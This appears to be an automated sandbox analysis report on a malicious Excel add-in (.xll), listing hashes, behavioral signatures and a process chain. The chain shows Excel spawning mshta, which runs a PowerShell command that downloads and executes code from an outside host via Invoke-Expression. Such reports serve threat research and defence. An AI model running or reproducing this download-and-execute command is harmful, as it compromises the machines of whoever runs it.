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Analysis
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max time kernel
106s -
max time network
129s -
platform
windows11-21h2_x64 -
resource
win11-20240508-en -
resource tags
arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system -
submitted
22/05/2024, 18:49
Static task
static1
Behavioral task
behavioral1
Sample
9724b04196328c93c6471346298c8c3f7df8a4f7f1dcfcabd8069aa3239aed97.xll
Resource
win10v2004-20240226-en
Behavioral task
behavioral2
Sample
9724b04196328c93c6471346298c8c3f7df8a4f7f1dcfcabd8069aa3239aed97.xll
Resource
win11-20240508-en
General
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Target
9724b04196328c93c6471346298c8c3f7df8a4f7f1dcfcabd8069aa3239aed97.xll
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Size
12KB
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MD5
ba57d3d2b83ae6eee6b9ae4ac5a096eb
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SHA1
caed869a41956f6c0c435c548bfa56e811be27be
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SHA256
9724b04196328c93c6471346298c8c3f7df8a4f7f1dcfcabd8069aa3239aed97
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SHA512
7f7b4e76091af53c6a69ff1f448adc94391b16dfcbdbe3472f28e3cdea2cbfe480f748b1ea52a91816aed338be2a5c9efaf5af1e5356f929a9c331d37c860aa6
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SSDEEP
192:7L29RBzDzeobchBj8JONVONSY74rusVrEPEjr7AhS:n29jnbcvYJOSx7Aucvr7CS
Malware Config
Extracted
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 860 660 mshta.exe 80 -
Blocklisted process makes network request 1 IoCs
flow pid Process 23 1364 powershell.exe -
Loads dropped DLL 2 IoCs
pid Process 660 EXCEL.EXE 660 EXCEL.EXE -
pid Process 1364 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 660 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1364 powershell.exe 1364 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1364 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 660 EXCEL.EXE 660 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 10 IoCs
pid Process 660 EXCEL.EXE 660 EXCEL.EXE 660 EXCEL.EXE 660 EXCEL.EXE 660 EXCEL.EXE 660 EXCEL.EXE 660 EXCEL.EXE 660 EXCEL.EXE 660 EXCEL.EXE 660 EXCEL.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 660 wrote to memory of 860 660 EXCEL.EXE 82 PID 660 wrote to memory of 860 660 EXCEL.EXE 82 PID 660 wrote to memory of 860 660 EXCEL.EXE 82 PID 860 wrote to memory of 1364 860 mshta.exe 83 PID 860 wrote to memory of 1364 860 mshta.exe 83 PID 860 wrote to memory of 1364 860 mshta.exe 83
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\9724b04196328c93c6471346298c8c3f7df8a4f7f1dcfcabd8069aa3239aed97.xll"1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:660 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:860 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1364
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD5f754844cfb65838d1dd6b19dde5d835c
SHA1b3eb677783adc88c8d048898449e04d49f416db6
SHA2563644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6
SHA512f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf
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C:\Users\Admin\AppData\Local\Temp\9724b04196328c93c6471346298c8c3f7df8a4f7f1dcfcabd8069aa3239aed97.xll
Filesize12KB
MD5ba57d3d2b83ae6eee6b9ae4ac5a096eb
SHA1caed869a41956f6c0c435c548bfa56e811be27be
SHA2569724b04196328c93c6471346298c8c3f7df8a4f7f1dcfcabd8069aa3239aed97
SHA5127f7b4e76091af53c6a69ff1f448adc94391b16dfcbdbe3472f28e3cdea2cbfe480f748b1ea52a91816aed338be2a5c9efaf5af1e5356f929a9c331d37c860aa6
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82